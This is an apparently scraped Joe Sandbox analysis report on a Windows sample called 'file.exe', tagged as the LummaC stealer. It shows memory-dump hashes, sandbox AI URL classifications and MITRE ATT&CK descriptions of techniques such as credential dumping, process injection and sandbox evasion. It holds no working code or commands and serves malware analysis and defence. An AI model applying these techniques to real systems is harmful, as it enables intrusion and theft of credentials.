Associated: 00000001.00000002.1670477967.00000000063B6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670503302.00000000063BA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670503302.000000000664F000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670503302.000000000665E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670503302.0000000006660000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_63b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 062eab06dfcf6d11f7670b83bd39651121eaf44a1c373f1ce442b8c88c67e995
Instruction ID: 3340d486494dd4b49e8c020cda0c44eb8b6757cccdb5481a53d4c547aa5cd9ad
Opcode Fuzzy Hash: 062eab06dfcf6d11f7670b83bd39651121eaf44a1c373f1ce442b8c88c67e995
Instruction Fuzzy Hash: 9731F7B251C200AFE749AF18D895BBABBE4FF44720F06482EE6C692640D7355840CB9B

Function 0654CF49 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1670503302.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: true

Associated: 00000001.00000002.1670429931.00000000063B0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670449842.00000000063B2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670477967.00000000063B6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670503302.00000000063BA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670503302.000000000664F000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670503302.000000000665E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670503302.0000000006660000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_63b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88676790f45bbfa29164b817232d9b965355fb8031e28033682ebf4672a54876
Instruction ID: 32744db6b038aef29981a46cfca03438cedae9d6e59e951fd339ea47918133bb
Opcode Fuzzy Hash: 88676790f45bbfa29164b817232d9b965355fb8031e28033682ebf4672a54876
Instruction Fuzzy Hash: 0AE04F76005105AAC7009F65C85599FFBF4FF59320F209485E984C7322C3754951CB39

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Windows Analysis Report
file.exe